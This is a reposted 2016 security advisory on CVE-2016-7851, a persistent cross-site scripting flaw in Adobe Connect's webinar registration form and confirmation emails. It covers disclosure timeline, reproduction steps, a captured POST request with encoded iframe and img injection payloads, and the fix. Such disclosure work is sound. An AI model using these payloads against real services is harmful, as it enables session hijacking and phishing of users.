###########################

# Adobe Connect & Desktop v9.5.7 Persistent Vulnerability

###########################

Document Title:
===============
Adobe Connect & Desktop v9.5.7 - Persistent Vulnerability
 
 
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1838
 
Security ID: PSIRT-5180
 
Bulletin: https://helpx.adobe.com/security/products/connect/apsb16-35.html
 
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7851
 
Public News Article: http://www.securityweek.com/adobe-patches-9-flash-player-flaws-reported-zdi
 
 
CVE-ID:
=======
CVE-2016-7851
 
 
Release Date:
=============
2016-11-09
 
 
Vulnerability Laboratory ID (VL-ID):
====================================
1838
 
 
Common Vulnerability Scoring System:
====================================
3.7
 
 
Product & Service Introduction:
===============================
Whether it is a smartphone or tablet app, a game, a video, a digital magazine, a website, or an online experience,
chances are that it was touched by Adobe technology. Our tools and services enable our customers to create
groundbreaking digital content, deploy it across media and devices, and then continually measure and optimize it
based on user data. By providing complete solutions that combine digital media creation with data-driven marketing,
we help businesses improve their communications, strengthen their brands, and ultimately achieve greater business success.
 
(Copy of the Vendor Homepage: http://www.adobe.com/aboutadobe/)
 
 
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered an application-side vulnerability in the Adobe Connect online web-application and v9.5.6 windows software.
 
 
Vulnerability Disclosure Timeline:
==================================
2016-04-27: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2016-04-28: Vendor Notification (PSIRT Adobe Security Team)
2016-04-29: Vendor Response/Feedback (PSIRT Adobe Security Team)
2016-10-20: Vendor Fix/Patch (Adobe Service Developer Team)
2016-11-08: Security Acknowledgements (Adobe Security Team)
2016-11-09: Public Disclosure (Vulnerability Laboratory)
 
 
Discovery Status:
=================
Published
 
 
Affected Product(s):
====================
Adobe Systems
Product: Adobe Connect - Online Service (Web-Application) 2016 Q2
 
 
Exploitation Technique:
=======================
Remote
 
 
Severity Level:
===============
Medium
 
 
Technical Details & Description:
================================
An application-side input validation and xss vulnerability has been discovered in the Adobe Connect online web-application and v9.5.6 windows software.
The input validation and filter issue allows remote attackers to inject own malicious script codes to the server-side of the vulnerable modules context.
 
The vulnerability is located in the `firstname`,`lastname` and `companyname` parameter of the `event_registration.html` file submit POST method request. 
Remote attackers are able to inject own malicious script codes in the vulnerable parameters POST method request to manipulate the adobe connect events 
service emails for the webinar registration module. The email body does not encode the input values and the registration is not restricted on inputs as 
well, which results in the application-side script code execution. Attackers are also able to followup the webinar links with the injected credentials 
which may be result in a second persistent script code execution as well. The injection point is the registration input form of the webinar in adobe 
connect and the execution point occurs in the email body context of the admin@adobeconnect.com email address.
 
The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8. 
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external sources 
and persistent manipulation of affected or connected service module context.
 
Request Method(s): Inject
                [+] POST
 
Vulnerable Module(s):
                [+] Events - Webinar Registration Form
 
Vulnerable File(s):
                [+] event_registration.html
 
Vulnerable Parameter(s):
                [+] firstname
                [+] lastname
                [+] companyname
 
Affected Module(s):
                [+]  (admin@adobeconnect.com)
 
 
Proof of Concept (PoC):
=======================
The persistent vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
 
 
Manual steps to reproduce the vulnerability ...
1.  Open your mailbox and click to the portals webinar email for administrators
2.  Surf to the signup registration of adobe connect next to the events reck
3.  Inject to the firstname, lastname and companyname your own script code payload
4.  Submit the POST request to get activated for the webinar to hackerone via adobe connect
5.  Check the local input of the registered account
6.  The script code payloads of the name values are replied by the email service without secure encode
Note: The execution of the payloads occurs directly after the arrival and view
7.  Now choose in the email the link to the webinar that is connected to the name values
8.  Join the channel and write a message for interaction
9.  The code executes in several sections of the webinar adobe connect events service with persistent vector
10. Successful reproduce of the both application-side vulnerabilities in adobe via hackerone!
 
 
PoC: event_registration.html
<div style="font-size: 12pt;color: #1d1d1d;font-family: Tahoma;font-style: normal;background-color: #FFFFFF;"> 
<p>>"<[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]></p> 
<p>We are pleased to confirm your registration for The Art and Science of Bug Bounty Triage - April 28, 2016. We look forward to your participation in the event.</p> 
</div>
 
 
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST https://events-na1.adobeconnect.com/content/connect/connect-action?sco-id=2159915051 
Mime Type[text/html]
   Request Header:
      Host[events-na1.adobeconnect.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate, br]
      Referer[https://events-na1.adobeconnect.com/content/connect/c1/2152090704/en/events/event/shared/2159889590/event_registration.html?sco-id=2159915051&campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2&_charset_=utf-8]
      Cookie[2159915051_campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2; connectevent_campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2; BREEZESESSION=na1breezpuz9xczd47kqnkqt; time-zone=Europe%2FBerlin; s_cc=true; s_sq=acnapvtpyd8zd0ka1b3qdt5jp4i76%3D%2526pid%253Dhttps%25253A%25252F%25252Fevents-na1.adobeconnect.com%25252Fcontent%25252Fconnect%25252Fc1%25252F2152090704%25252Fen%25252Fevents%25252Fevent%25252Fshared%25252F2159889590%25252Fevent_registration.html%25253Fsco-id%25253D2159915051%252526campaign-id%25253DDG-EM-Art%25252520of%25252520Triage-2Q2016-2%252526_charset_%25253Dutf-8%2526oid%253Dfunctiononclick(event)%25257BregFormSubmit()%25253B%25257D%2526oidt%253D2%2526ot%253DA]
      Connection[keep-alive]
   POST-Daten:
      2159915054[Yes]
      2159915055[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      2159915056[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      2159915057[adasfaf+asfasdfasfasfasdfsdfs]
      login[bkm%40evolution-sec.com]
      first-name[%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      last-name[%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      campaign-id[DG-EM-Art%2520of%2520Triage-2Q2016-2]
      sco-id[2159915051]
      reg-form-back[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.html]
      reg-form-success[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.result.html]
      action[event-register]
      _charset_[UTF-8]
      login-uri[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.login.html%3Flogin-ok%3D%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.html%26sco-id%3D2159915051]
      set-lang[en]
      reg-confirm-page[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fregistration_confirm.html]
   Response Header:
      Connection[Keep-Alive]
      Server[Day-Servlet-Engine/4.1.24]
      Content-Type[text/html;charset=UTF-8]
      Date[Wed, 27 Apr 2016 08:56:07 GMT]
      Transfer-Encoding[chunked]
      Set-Cookie[2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connectconnectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect 
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect]
 
 
Reference(s):
https://events-na1.adobeconnect.com/
https://events-na1.adobeconnect.com/content/
https://events-na1.adobeconnect.com/content/connect/
https://events-na1.adobeconnect.com/content/connect/connect-action
 
 
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable firstname, lastname and companyname input fields in 
the registration file POST method request.
Dissallow the usage of special chars and restrict the input to prevent further script code injection attacks.
Encode the email body context of the adobe connect service mails after the registration. Block script code tags or escape and encode them as well.
 
Please follow the instructions in the adobe security bulletin to resolve the issue - Adobe Connect  9.5.7 windows desktop version.
URL: https://helpx.adobe.com/adobe-connect/release-note/adobe-connect-9-5-7-release-notes.html
 
 
Security Risk:
==============
The security risk of the application-side vulnerability in the events webinar web-application and windows desktop software is estimated as medium. (CVSS 3.7)
 
 
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research@vulnerability-lab.com) [http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]
 
 
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
 
Domains:    www.vulnerability-lab.com       - www.vuln-lab.com                      - www.evolution-sec.com
Contact:    admin@vulnerability-lab.com     - research@vulnerability-lab.com                - admin@evolution-sec.com
Section:    magazine.vulnerability-lab.com  - vulnerability-lab.com/contact.php                 - evolution-sec.com/contact
Social:     twitter.com/vuln_lab        - facebook.com/VulnerabilityLab                 - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php            - vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - vulnerability-lab.com/list-of-bug-bounty-programs.php     - vulnerability-lab.com/register.php
 
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.
 
                    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]â¢
 
-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com


###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2016-11-10]

###########################